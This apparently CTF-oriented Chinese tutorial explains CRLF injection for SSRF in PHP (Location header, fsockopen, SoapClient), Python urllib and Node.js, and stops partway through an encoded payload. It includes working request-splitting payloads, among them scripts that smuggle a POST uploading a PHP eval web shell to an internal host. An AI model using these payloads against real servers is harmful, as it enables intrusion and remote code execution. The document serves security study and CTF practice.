前言
前段时间遇到了几个使用 CRLF Injection 进行 SSRF 的题目,感觉十分有意思,便抽空自己研究了研究。
CRLF Injection 最大的用处便是任意插入恶意的 HTTP 头,甚至直接在原始请求中构造一个新的HTTP请求,像这样的功能如果与 SSRF 漏洞相结合那对 SSRF 来说岂不是如虎添翼?
下面我们将对 CRLF 与 CRLF Injection 漏洞的概念进行简单的介绍,并对PHP、Python和NodeJS中的存在的 CRLF Injection 进行详细的讲解,然后对 CRLF Injection 在 SSRF 中攻击内网应用做了简单的研究与分析,最后给出了几个 CTF 中的实战例题。
CRLF 与 CRLF Injection 漏洞介绍
CRLF 指的是回车符(CR,ASCII 13,\r,%0d)和换行符(LF,ASCII 10,\n,%0a)的简称(\r\n)。在《HTTP | HTTP报文》一文中,我们可以了解到HTTP报文的结构:HTTP报文以状态行开始,跟在后面的是HTTP首部(HTTP Header),首部由多个首部字段构成,每行一个首部字段,HTTP首部后是一个空行,然后是报文主体(HTTP Body)。状态行和首部中的每行以CRLF结束,首部与主体之间由一空行分隔。或者理解为首部中每个首部字段以一个CRLF分隔,首部和主体由两个CRLF分隔。
在HTTP协议中,HTTP Header 部分与 HTTP Body 部分是用两个CRLF分隔的,浏览器就是根据这两个CRLF来取出HTTP 内容并显示出来。所以,一旦我们能够控制 HTTP 消息头中的字符,注入一些恶意的换行,这样我们就能注入一些恶意的HTTP Header,如会话Cookie,甚至可以注入一些HTML代码。这就是CRLF注入漏洞的核心原理。
在实际应用中,如果Web应用没有对用户输入做严格验证,便会导致攻击者可以输入一些恶意字符。攻击者一旦向请求行或首部中的字段注入恶意的CRLF,就能注入一些首部字段或报文主体,并在响应中输出,所以CRLF注入漏洞又称为HTTP响应拆分漏洞(HTTP Response Splitting),简称HRS。
Location 字段的 302 跳转
举个例子,一般网站会在HTTP头中用 Location: http://baidu.com
这种方式来进行302跳转,如果我们能控制 Location:
后面的某个网址的URL,就可以进行HRS攻击。
测试代码:
<?php
if(isset($_GET["url"])){
header("Location: " . $_GET["url"]);
exit;
}
?>
这段代码的意思是:当条件满足时,将请求包中的url参数值拼接到Location字符串中,并设置成响应头发送给客户端。
首先我们输入正常的url:
/?url=https://whoamianony.top
得到的一个正常的302跳转包的响应头是这样:
HTTP/1.1 302
Moved Temporarily Date: Fri, 27 Jun 2014 17:52:17 GMT
Content- Type: text/html
Content-Length: 154
Connection: close
Location: https://whoamianony.top
但如果我们抓包,将输入的URL改为 /url=https://whoamianony.top%0d%0aPHPSESSID=whoami
,注入了一个换行。将修改后的请求包提交给服务器端,查看服务器端的响应。此时的返回包的响应头就会变成这样:
HTTP/1.1 302
Moved Temporarily Date: Fri, 27 Jun 2014 17:52:17 GMT
Content- Type: text/html
Content-Length: 154
Connection: close
Location: https://whoamianony.top
Set-Cookie: PHPSESSID=whoami
我们可以发现响应头首部中多了个Set-Cookie字段。这就证实了该系统存在CRLF注入漏洞,因为我们输入的恶意数据,作为响应首部字段返回给了客户端。这个时候我们就给访问者设置了一个SESSION,造成了一个“会话固定漏洞”。
这是由于,此时服务器端接收到的url参数值是我们修改后的:
https://whoamianony.top%0d%0aSet-Cookie: PHPSESSID=whoami
在url参数值拼接到Location字符串中,设置成响应头后,响应包此时应该是如下这样的:
HTTP/1.1 302
Moved Temporarily Date: Fri, 27 Jun 2014 17:52:17 GMT
Content- Type: text/html
Content-Length: 154
Connection: close
Location: https://whoamianony.top%0d%0aSet-Cookie: PHPSESSID=whoami
但是,%0d和%0a分别是CR和LF的URL编码。前面我们讲到,HTTP规范中,行以CRLF结束。所以当检测到%0d%0a后,就认为Location首部字段这行结束了,Set-Cookie就会被认为是下一行,如下所示:
HTTP/1.1 302
Moved Temporarily Date: Fri, 27 Jun 2014 17:52:17 GMT
Content- Type: text/html
Content-Length: 154
Connection: close
Location: https://whoamianony.top
Set-Cookie: PHPSESSID=whoami
而我们构造的Set-Cookie字符在HTTP中是一个设置Cookie的首部字段,这个时候就会将PHPSESSID=whoami设置成Cookie。
测试的用例大家可能会觉得这漏洞没什么危害性,但试想一下:利用漏洞,注入一个CRLF控制用户的Cookie,或者注入两个CRLF,控制返回给客户端的主体,该漏洞的危害不亚于XSS。
但是目前通过 Location 字段的 302 跳转进行 CRLF 注入这个漏洞已经被修复了。我们继续往下看。
PHP fsockopen() 函数
fsockopen($hostname,$port,$errno,$errstr,$timeout)
用于打开一个网络连接或者一个Unix 套接字连接,初始化一个套接字连接到指定主机(hostname),实现对用户指定url数据的获取。该函数会使用socket跟服务器建立tcp连接,进行传输原始数据。
fsockopen()将返回一个文件句柄,之后可以被其他文件类函数调用(例如:fgets(),fgetss(),fwrite(),fclose()还有feof())。如果调用失败,将返回false。
测试代码:
<?php
$host=$_GET['url'];
$fp = fsockopen($host, 80, $errno, $errstr, 30);
if (!$fp) {
echo "$errstr ($errno)<br />\n";
} else {
$out = "GET / HTTP/1.1\r\n";
$out .= "Host: $host\r\n";
$out .= "Connection: Close\r\n\r\n";
fwrite($fp, $out);
while (!feof($fp)) {
echo fgets($fp, 128);
}
fclose($fp);
}
?>
首先我们尝试访问正常的url:
/?url=47.101.57.72:4000
VPS 上监听到的请求:
在 Host 头部注入
下面我们尝试插入 CRLF:
/?url=47.101.57.72:4000%0d%0aSet-Cookie: PHPSESSID=whoami
这是由于,此时服务端接收到的url参数值是我们修改后的:
/?url=47.101.57.72:4000%0d%0aSet-Cookie: PHPSESSID=whoami
在url参数值拼接到 Host 字段值中,设置成响应头后,响应包此时应该是如下这样的:
GET / HTTP/1.1
Host: 47.101.57.72:4000%0d%0aSet-Cookie: PHPSESSID=whoami
Connection: Close
前面我们讲到,HTTP规范中,行以CRLF结束。所以当检测到%0d%0a后,就认为 Host 首部字段这行结束了,Set-Cookie就会被认为是下一行,如下所示:
GET / HTTP/1.1
Host: 47.101.57.72:4000
Set-Cookie: PHPSESSID=whoami
Connection: Close
而我们构造的 Set-Cookie 字符在 HTTP 中是一个设置 Cookie 的首部字段,这个时候就会将 PHPSESSID=whoami 设置成 Cookie。
PHP SoapClient 类
PHP 的内置类 SoapClient 是一个专门用来访问web服务的类,可以提供一个基于SOAP协议访问Web服务的 PHP 客户端。该内置类有一个 __call
方法,当 __call
方法被触发后,它可以发送 HTTP 和 HTTPS 请求。正是这个 __call
方法,使得 SoapClient 类可以被我们运用在 SSRF 中。
该类的构造函数如下:
public SoapClient :: SoapClient(mixed $wsdl [,array $options ])
- 第一个参数是用来指明是否是wsdl模式,将该值设为null则表示非wsdl模式。
- 第二个参数为一个数组,如果在wsdl模式下,此参数可选;如果在非wsdl模式下,则必须设置location和uri选项,其中location是要将请求发送到的SOAP服务器的URL,而 uri 是SOAP服务的目标命名空间。
知道上述两个参数的含义后,我们首先来发起一个正常的HTTP请求:
<?php
$a = new SoapClient(null,array('location'=>'http://47.101.57.72:4000/aaa', 'uri'=>'http://47.101.57.72:4000'));
$b = serialize($a);
echo $b;
$c = unserialize($b);
$c->a(); // 随便调用对象中不存在的方法, 触发__call方法进行ssrf
?>
VPS 上监听到了 POST 请求:
下面我们尝试 CRLF 注入,插入任意的 HTTP 头。
在 User-Agent 头部注入
<?php
$target = 'http://47.101.57.72:4000/';
$a = new SoapClient(null,array('location' => $target, 'user_agent' => "WHOAMI\r\nSet-Cookie: PHPSESSID=whoami", 'uri' => 'test'));
$b = serialize($a);
echo $b;
$c = unserialize($b);
$c->a(); // 随便调用对象中不存在的方法, 触发__call方法进行ssrf
?>
如下图所示,VPS 上监听到了请求,成功在HTTP头中插入了一个我们自定义的 cookie:
这是由于,此时服务端接收到我们修改后的请求后,响应包此时应该是如下这样的:
POST / HTTP/1.1
Host: 47.101.57.72:4000
Connection: Keep-Alive
User-Agent: WHOAMI%0d%0aSet-Cookie: PHPSESSID=whoami
Content-Type: text/xml; charset=utf-8
SOAPAction: "test#a"
Content-Length: 365
前面我们讲到,HTTP规范中,行以CRLF结束。所以当检测到%0d%0a后,就认为 User-Agent 首部字段这行结束了,Set-Cookie就会被认为是下一行,如下所示:
POST / HTTP/1.1
Host: 47.101.57.72:4000
Connection: Keep-Alive
User-Agent: WHOAMI
Set-Cookie: PHPSESSID=whoami
Content-Type: text/xml; charset=utf-8
SOAPAction: "test#a"
Content-Length: 365
而我们构造的 Set-Cookie 字符在 HTTP 中是一个设置 Cookie 的首部字段,这个时候就会将 PHPSESSID=whoami 设置成 Cookie。
发送 POST 数据包
在HTTP协议中,HTTP Header 部分与 HTTP Body 部分是用两个CRLF分隔的,所以我们要发送 POST 数据就要插入两个CRLF。
对于如何发送POST的数据包,这里面还有一个坑,就是 Content-Type
的设置,因为我们要提交的是POST数据,所以 Content-Type
的值我们要设置为 application/x-www-form-urlencoded
,这里如何修改 Content-Type
的值呢?由于 Content-Type
在 User-Agent
的下面,所以我们可以通过 SoapClient
来设置 User-Agent
,将原来的 Content-Type
挤下去,从而再插入一个新的 Content-Type
。
测试代码如下:
<?php
$target = 'http://47.101.57.72:4000/';
$post_data = 'data=whoami';
$headers = array(
'X-Forwarded-For: 127.0.0.1',
'Cookie: PHPSESSID=3stu05dr969ogmprk28drnju93'
);
$a = new SoapClient(null,array('location' => $target,'user_agent'=>'WHOAMI^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '. (string)strlen($post_data).'^^^^'.$post_data,'uri'=>'test'));
$b = serialize($a);
$b = str_replace('^^',"\n\r",$b);
echo $b;
$c = unserialize($b);
$c->a(); // 随便调用对象中不存在的方法, 触发__call方法进行ssrf
?>
VPS 上监听到了 POST 数据:
这是由于服务端接收到我们修改后的请求后,响应包此时应该是如下这样的:
POST / HTTP/1.1
Host: 47.101.57.72:4000
Connection: Keep-Alive
User-Agent: WHOAMI%0d%0aContent-Type: application/x-www-form-urlencoded%0d%0aX-Forwarded-For: 127.0.0.1%0d%0aCookie: PHPSESSID=3stu05dr969ogmprk28drnju93%0d%0aContent-Length: 11%0d%0a%0d%0adata=whoami
Content-Type: text/xml; charset=utf-8
SOAPAction: "test#a"
Content-Length: 365
前面我们讲到,HTTP规范中,HTTP 首部中每个首部字段以一个CRLF分隔,首部和主体由两个CRLF分隔。这样,当%0d%0a和%0d%0a%0d%0a分别被解析为 HTTP 首部字段的结尾和 HTTP 首部的结尾,最终的HTTP请求便成了如下这样:
POST / HTTP/1.1
Host: 47.101.57.72:4000
Connection: Keep-Alive
User-Agent: WHOAMI
Content-Type: application/x-www-form-urlencoded
X-Forwarded-For: 127.0.0.1
Cookie: PHPSESSID=3stu05dr969ogmprk28drnju93
Content-Length: 11
data=whoami
Content-Type: text/xml; charset=utf-8
SOAPAction: "test#a"
Content-Length: 365
Python urllib CRLF 注入漏洞(CVE-2019-9740)
Python是一套开源的、面向对象的程序设计语言。该语言具有可扩展、支持模块和包、支持多种平台等特点。urllib是其中的一个用于处理URL的模块。urllib2是其中的一个用于获取URL(统一资源定位符)的模块。
Python 2.x版本至2.7.16版本中的urllib2和Python 3.x版本至3.7.2版本中的urllib存在注入漏洞。该漏洞源于用户输入构造命令、数据结构或记录的操作过程中,网络系统或产品缺乏对用户输入数据的正确验证,未过滤或未正确过滤掉其中的特殊元素,导致系统或产品产生解析或解释方式错误。简单来说,就是urlopen()处理URL的时候没有考虑换行符,导致我们可以在正常的HTTP头中插入任意内容。
该漏洞早在2016年就被爆出(CVE-2016-5699),在之后的一段时间里不断爆出了python其他版本也存在该漏洞(CVE-2019-9740、CVE-2019-9947)。
影响范围:
- Python 2.x版本至2.7.16版本中的urllib2
- Python 3.x版本至3.7.2版本中的urllib
在 HTTP 状态行注入恶意首部字段
测试代码:
#!python
#!/usr/bin/env python3
import urllib
import urllib.request
import urllib.error
# url = "http://47.101.57.72:4000
url = "http://47.101.57.72:4000?a=1 HTTP/1.1\r\nCRLF-injection: True\r\nSet-Cookie: PHPSESSID=whoami"
# ?a=1 后面的那个HTTP/1.1是为了闭合正常的HTTP状态行
try:
info = urllib.request.urlopen(url).info()
print(info)
except urllib.error.URLError as e:
print(e)
执行代码后,VPS 上会监听到如下HTTP头:
如上图所示,成功引发了CRLF漏洞。
这是由于服务端接收到我们修改后的请求后,响应包此时应该是如下这样的:
GET /?a=1 HTTP/1.1%0d%0aCRLF-injection: True%0d%0aSet-Cookie: PHPSESSID=whoami HTTP/1.1
Accept-Encoding: identity
Host: 47.101.57.72:4000
User-Agent: Python-urllib/3.7
Connection: close
此时,HTTP 状态行中出现了%0d%0a,便会被解析为HTTP首部字段的结束并成功插入我们定制的HTTP首部字段。最终HTTP请求变成了下面这样:
GET /?a=1 HTTP/1.1
CRLF-injection: True
Set-Cookie: PHPSESSID=whoami HTTP/1.1
Accept-Encoding: identity
Host: 47.101.57.72:4000
User-Agent: Python-urllib/3.7
Connection: close
在 HTTP 状态行注入完整 HTTP 请求
首先,由于 Python Urllib 的这个 CRLF 注入点在 HTTP 状态行,所以如果我们要注入完整的 HTTP 请求的话需要先闭合状态行中 HTTP/1.1
,即保证注入后有正常的 HTTP 状态行。其次为了不让原来的 HTTP/1.1
和 Host 字段影响我们新构造的请求,我们还需要再构造一次 GET /
闭合原来的 HTTP 请求。
假设目标主机存在SSRF,需要我们在目标主机本地上传文件。下面尝试构造如下这个文件上传的完整 POST 请求:
POST /upload.php HTTP/1.1
Host: 127.0.0.1
Content-Length: 437
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryjDb9HMGTixAA7Am6
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.72 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=nk67astv61hqanskkddslkgst4
Connection: close
------WebKitFormBoundaryjDb9HMGTixAA7Am6
Content-Disposition: form-data; name="MAX_FILE_SIZE"
100000
------WebKitFormBoundaryjDb9HMGTixAA7Am6
Content-Disposition: form-data; name="uploaded"; filename="shell.php"
Content-Type: application/octet-stream
<?php eval($_POST["whoami"]);?>
------WebKitFormBoundaryjDb9HMGTixAA7Am6
Content-Disposition: form-data; name="Upload"
Upload
------WebKitFormBoundaryjDb9HMGTixAA7Am6--
编写脚本构造payload:
payload = ''' HTTP/1.1
POST /upload.php HTTP/1.1
Host: 127.0.0.1
Content-Length: 435
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryjDb9HMGTixAA7Am6
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.72 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=nk67astv61hqanskkddslkgst4
Connection: close
------WebKitFormBoundaryjDb9HMGTixAA7Am6
Content-Disposition: form-data; name="MAX_FILE_SIZE"
100000
------WebKitFormBoundaryjDb9HMGTixAA7Am6
Content-Disposition: form-data; name="uploaded"; filename="shell.php"
Content-Type: application/octet-stream
<?php eval($_POST[whoami]);?>
------WebKitFormBoundaryjDb9HMGTixAA7Am6
Content-Disposition: form-data; name="Upload"
Upload
------WebKitFormBoundaryjDb9HMGTixAA7Am6--
GET / HTTP/1.1
test:'''.replace("\n","\\r\\n")
print(payload)
# 输出: HTTP/1.1\r\n\r\nPOST /upload.php HTTP/1.1\r\nHost: 127.0.0.1\r\nContent-Length: 435\r\nContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryjDb9HMGTixAA7Am6\r\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.72 Safari/537.36\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\r\nAccept-Encoding: gzip, deflate\r\nAccept-Language: zh-CN,zh;q=0.9\r\nCookie: PHPSESSID=nk67astv61hqanskkddslkgst4\r\nConnection: close\r\n\r\n------WebKitFormBoundaryjDb9HMGTixAA7Am6\r\nContent-Disposition: form-data; name="MAX_FILE_SIZE"\r\n\r\n100000\r\n------WebKitFormBoundaryjDb9HMGTixAA7Am6\r\nContent-Disposition: form-data; name="uploaded"; filename="shell.php"\r\nContent-Type: application/octet-stream\r\n\r\n<?php eval($_POST[whoami]);?>\r\n------WebKitFormBoundaryjDb9HMGTixAA7Am6\r\nContent-Disposition: form-data; name="Upload"\r\n\r\nUpload\r\n------WebKitFormBoundaryjDb9HMGTixAA7Am6--\r\n\r\nGET / HTTP/1.1\r\ntest:
然后构造请求:
#!python
#!/usr/bin/env python3
import urllib
import urllib.request
import urllib.error
# url = "http://47.101.57.72:4000
url = 'http://47.101.57.72:4000?a=1 HTTP/1.1\r\n\r\nPOST /upload.php HTTP/1.1\r\nHost: 127.0.0.1\r\nContent-Length: 435\r\nContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryjDb9HMGTixAA7Am6\r\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.72 Safari/537.36\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\r\nAccept-Encoding: gzip, deflate\r\nAccept-Language: zh-CN,zh;q=0.9\r\nCookie: PHPSESSID=nk67astv61hqanskkddslkgst4\r\nConnection: close\r\n\r\n------WebKitFormBoundaryjDb9HMGTixAA7Am6\r\nContent-Disposition: form-data; name="MAX_FILE_SIZE"\r\n\r\n100000\r\n------WebKitFormBoundaryjDb9HMGTixAA7Am6\r\nContent-Disposition: form-data; name="uploaded"; filename="shell.php"\r\nContent-Type: application/octet-stream\r\n\r\n<?php eval($_POST[whoami]);?>\r\n------WebKitFormBoundaryjDb9HMGTixAA7Am6\r\nContent-Disposition: form-data; name="Upload"\r\n\r\nUpload\r\n------WebKitFormBoundaryjDb9HMGTixAA7Am6--\r\n\r\nGET / HTTP/1.1\r\ntest:'
# ?a=1 后面的那个HTTP/1.1是为了闭合正常的HTTP状态行
try:
info = urllib.request.urlopen(url).info()
print(info)
except urllib.error.URLError as e:
print(e)
如上图所示,成功构造出了一个文件上传的POST请求,像这样的POST请求可以被我们用于 SSRF。下面我们分析一下整个攻击的过程。
原始请求数据如下:
GET / HTTP/1.1
Host: 47.101.57.72:4000
当我们插入CRLF数据后,HTTP请求数据变成了:
GET / HTTP/1.1
POST /upload.php HTTP/1.1
Host: 127.0.0.1
Content-Length: 437
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryjDb9HMGTixAA7Am6
......
<?php eval($_POST["whoami"]);?>
------WebKitFormBoundaryjDb9HMGTixAA7Am6
Content-Disposition: form-data; name="Upload"
Upload
------WebKitFormBoundaryjDb9HMGTixAA7Am6--
HTTP/1.1
Host: 47.101.57.72:4000
上次请求包的Host字段和状态行中的 HTTP/1.1
就单独出来了,所以我们再构造一个请求把他闭合:
GET / HTTP/1.1
POST /upload.php HTTP/1.1
Host: 127.0.0.1
Content-Length: 437
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryjDb9HMGTixAA7Am6
......
<?php eval($_POST["whoami"]);?>
------WebKitFormBoundaryjDb9HMGTixAA7Am6
Content-Disposition: form-data; name="Upload"
Upload
------WebKitFormBoundaryjDb9HMGTixAA7Am6--
GET / HTTP/1.1
test: HTTP/1.1
Host: 47.101.57.72:4000
NodeJS 中的 CRLF Injection
2018 年有研究者发现,当Node.js使用 http.get
向特定路径发出HTTP请求时,发出的请求实际上被定向到了不一样的路径!
HTTP 请求路径中的 Unicode 字符损坏
虽然用户发出的 HTTP 请求通常将请求路径指定为字符串,但Node.js最终必须将请求作为原始字节输出。JavaScript支持unicode字符串,因此将它们转换为字节意味着选择并应用适当的Unicode编码。对于不包含主体的请求,Node.js默认使用“latin1”,这是一种单字节编码字符集,不能表示高编号的Unicode字符,例如
这个表情。所以,当我们的请求路径中含有多字节编码的Unicode字符时,会被截断取最低字节,比如 \u0130
就会被截断为 \u30
:
Unicode 字符损坏造成的 HTTP 拆分攻击
刚才演示的那个 HTTP 请求路径中的 Unicode 字符损坏看似没有什么用处,但它可以在 nodejs 的 HTTP 拆分攻击中大显身手。
由于 nodejs 的 HTTP 库包含了阻止CRLF的措施,即如果你尝试发出一个URL路径中含有回车、换行或空格等控制字符的HTTP请求是,它们会被URL编码,所以正常的CRLF注入在nodejs中并不能利用:
> var http = require("http");
> http.get('http://47.101.57.72:4000/\r\n/WHOAMI').output
[ 'GET /%0D%0A/WHOAMI HTTP/1.1\r\nHost: 47.101.57.72:4000\r\nConnection: close\r\n\r\n' ]
但不幸的是,上述的处理Unicode字符错误意味着可以规避这些保护措施。考虑如下的URL,其中包含一些高编号的Unicode字符:
> 'http://47.101.57.72:4000/\u{010D}\u{010A}/WHOAMI'
http://47.101.57.72:4000/čĊ/WHOAMI
当 Node.js v8 或更低版本对此URL发出 GET
请求时,它不会进行编码转义,因为它们不是HTTP控制字符:
> http.get('http://47.101.57.72:4000/\u010D\u010A/WHOAMI').output
[ 'GET /čĊ/WHOAMI HTTP/1.1\r\nHost: 47.101.57.72:4000\r\nConnection: close\r\n\r\n' ]
但是当结果字符串被编码为 latin1 写入路径时,这些字符将分别被截断为 "\r"(%0d)和 "\n"(%0a):
> Buffer.from('http://47.101.57.72:4000/\u{010D}\u{010A}/WHOAMI', 'latin1').toString()
'http://47.101.57.72:4000/\r\n/WHOAMI'
可见,通过在请求路径中包含精心选择的Unicode字符,攻击者可以欺骗Node.js并成功实现CRLF注入。
不仅是CRLF,所有的控制字符都可以通过这个构造出来。下面是我列举出来的表格,第一列是需要构造的字符,第二列是可构造出相应字符的高编号的Unicode码,第三列是高编号的Unicode码对应的字符,第四列是高编号的Unicode码对应的字符的URL编码:
字符 | 可由以下Unicode编码构造出 | Unicode编码对应的字符 | Unicode编码对应的字符对应的URL编码 |
---|---|---|---|
回车符 \r | \u010d | č | %C4%8D |
换行符 \n | \u010a | Ċ | %C4%8A |
空格 | \u0120 | Ġ | %C4%A0 |
反斜杠 \ | \u0122 | Ģ | %C4%A2 |
单引号 ' | \u0127 | ħ | %C4%A7 |
反引号 ` | \u0160 | Š | %C5%A0 |
叹号 ! | \u0121 | ġ | %C4%A1 |
这个bug已经在Node.js10中被修复,如果请求路径包含非Ascii字符,则会抛出错误。但是对于 Node.js v8 或更低版本,如果有下列情况,任何发出HTTP请求的服务器都可能受到通过请求拆实现的SSRF的攻击:
- 接受来自用户输入的Unicode数据
- 并将其包含在HTTP请求的路径中
- 且请求具有一个0长度的主体(比如一个
GET
或者DELETE
)
在 HTTP 状态行注入恶意首部字段
由于 NodeJS 的这个 CRLF 注入点在 HTTP 状态行,所以如果我们要注入恶意的 HTTP 首部字段的话还需要闭合状态行中 HTTP/1.1
,即保证注入后有正常的 HTTP 状态行:
> http.get('http://47.101.57.72:4000/\u0120HTTP/1.1\u010D\u010ASet-Cookie:\u0120PHPSESSID=whoami').output
[ 'GET /ĠHTTP/1.1čĊSet-Cookie:ĠPHPSESSID=whoami HTTP/1.1\r\nHost: 47.101.57.72:4000\r\nConnection: close\r\n\r\n' ]
如上图所示,成功构造出了一个 Set-Cookie 首部字段,虽然后面还有一个 HTTP/1.1
,但我们根据该原理依然可以将其闭合:
> http.get('http://47.101.57.72:4000/\u0120HTTP/1.1\u010D\u010ASet-Cookie:\u0120PHPSESSID=whoami\u010D\u010Atest:').output
[ 'GET /ĠHTTP/1.1čĊSet-Cookie:ĠPHPSESSID=whoamičĊtest: HTTP/1.1\r\nHost: 47.101.57.72:4000\r\nConnection: close\r\n\r\n' ]
这样,我们便可以构造 “任意” 的HTTP请求了。
在 HTTP 状态行注入完整 HTTP 请求
首先,由于 NodeJS 的这个 CRLF 注入点在 HTTP 状态行,所以如果我们要注入完整的 HTTP 请求的话需要先闭合状态行中 HTTP/1.1
,即保证注入后有正常的 HTTP 状态行。其次为了不让原来的 HTTP/1.1
影响我们新构造的请求,我们还需要再构造一次 GET /
闭合原来的 HTTP 请求。
假设目标主机存在SSRF,需要我们在目标主机本地上传文件。我们需要尝试构造如下这个文件上传的完整 POST 请求:
POST /upload.php HTTP/1.1
Host: 127.0.0.1
Content-Length: 437
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryjDb9HMGTixAA7Am6
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.72 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=nk67astv61hqanskkddslkgst4
Connection: close
------WebKitFormBoundaryjDb9HMGTixAA7Am6
Content-Disposition: form-data; name="MAX_FILE_SIZE"
100000
------WebKitFormBoundaryjDb9HMGTixAA7Am6
Content-Disposition: form-data; name="uploaded"; filename="shell.php"
Content-Type: application/octet-stream
<?php eval($_POST["whoami"]);?>
------WebKitFormBoundaryjDb9HMGTixAA7Am6
Content-Disposition: form-data; name="Upload"
Upload
------WebKitFormBoundaryjDb9HMGTixAA7Am6--
为了方便,我们将这个POST请求里面的所有的字符包括控制符全部用上述的高编号Unicode码表示:
payload = ''' HTTP/1.1
POST /upload.php HTTP/1.1
Host: 127.0.0.1
Content-Length: 437
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryjDb9HMGTixAA7Am6
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.72 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=nk67astv61hqanskkddslkgst4
Connection: close
------WebKitFormBoundaryjDb9HMGTixAA7Am6
Content-Disposition: form-data; name="MAX_FILE_SIZE"
100000
------WebKitFormBoundaryjDb9HMGTixAA7Am6
Content-Disposition: form-data; name="uploaded"; filename="shell.php"
Content-Type: application/octet-stream
<?php eval($_POST["whoami"]);?>
------WebKitFormBoundaryjDb9HMGTixAA7Am6
Content-Disposition: form-data; name="Upload"
Upload
------WebKitFormBoundaryjDb9HMGTixAA7Am6--
GET / HTTP/1.1
test:'''.replace("\n","\r\n")
def payload_encode(raw):
ret = u""
for i in raw:
ret += chr(0x0100+ord(i))
return ret
payload = payload_encode(payload)
print(payload)
# 输出: ĠňŔŔŐįıĮıčĊčĊŐŏœŔĠįŵŰŬůšŤĮŰŨŰĠňŔŔŐįıĮıčĊňůųŴĺĠıIJķĮİĮİĮıčĊŃůŮŴťŮŴĭŌťŮŧŴŨĺĠĴijķčĊŃůŮŴťŮŴĭŔŹŰťĺĠŭŵŬŴũŰšŲŴįŦůŲŭĭŤšŴšĻĠŢůŵŮŤšŲŹĽĭĭĭĭŗťŢŋũŴņůŲŭłůŵŮŤšŲŹŪńŢĹňōŇŔũŸŁŁķŁŭĶčĊŕųťŲĭŁŧťŮŴĺĠōůźũŬŬšįĵĮİĠĨŗũŮŤůŷųĠŎŔĠıİĮİĻĠŗũŮĶĴĻĠŸĶĴĩĠŁŰŰŬťŗťŢŋũŴįĵijķĮijĶĠĨŋňŔōŌĬĠŬũūťĠŇťţūůĩĠŃŨŲůŭťįĹİĮİĮĴĴijİĮķIJĠœšŦšŲũįĵijķĮijĶčĊŁţţťŰŴĺĠŴťŸŴįŨŴŭŬĬšŰŰŬũţšŴũůŮįŸŨŴŭŬīŸŭŬĬšŰŰŬũţšŴũůŮįŸŭŬĻűĽİĮĹĬũŭšŧťįšŶũŦĬũŭšŧťįŷťŢŰĬũŭšŧťįšŰŮŧĬĪįĪĻűĽİĮĸĬšŰŰŬũţšŴũůŮįųũŧŮťŤĭťŸţŨšŮŧťĻŶĽŢijĻűĽİĮĹčĊŁţţťŰŴĭŅŮţůŤũŮŧĺĠŧźũŰĬĠŤťŦŬšŴťčĊŁţţťŰŴĭŌšŮŧŵšŧťĺĠźŨĭŃŎĬźŨĻűĽİĮĹčĊŃůůūũťĺĠŐňŐœŅœœʼnńĽŮūĶķšųŴŶĶıŨűšŮųūūŤŤųŬūŧųŴĴčĊŃůŮŮťţŴũůŮĺĠţŬůųťčĊčĊĭĭĭĭĭĭŗťŢŋũŴņůŲŭłůŵŮŤšŲŹŪńŢĹňōŇŔũŸŁŁķŁŭĶčĊŃůŮŴťŮŴĭńũųŰůųũŴũůŮĺĠŦůŲŭĭŤšŴšĻĠŮšŭťĽĢōŁŘşņʼnŌŅşœʼnŚŅĢčĊčĊıİİİİİčĊĭĭĭĭĭĭŗťŢŋũŴņůŲŭłůŵŮŤšŲŹŪńŢĹňōŇŔũŸŁŁķŁŭĶčĊŃůŮŴťŮŴĭńũųŰůųũŴũůŮĺĠŦůŲŭĭŤšŴšĻĠŮšŭťĽĢŵŰŬůšŤťŤĢĻĠŦũŬťŮšŭťĽĢųŨťŬŬĮŰŨŰĢčĊŃůŮŴťŮŴĭŔŹŰťĺĠšŰŰŬũţšŴũůŮįůţŴťŴĭųŴŲťšŭčĊčĊļĿŰŨŰĠťŶšŬĨĤşŐŏœŔśĢŷŨůšŭũĢŝĩĻĿľčĊĭĭĭĭĭĭŗťŢŋũŴņůŲŭłůŵŮŤš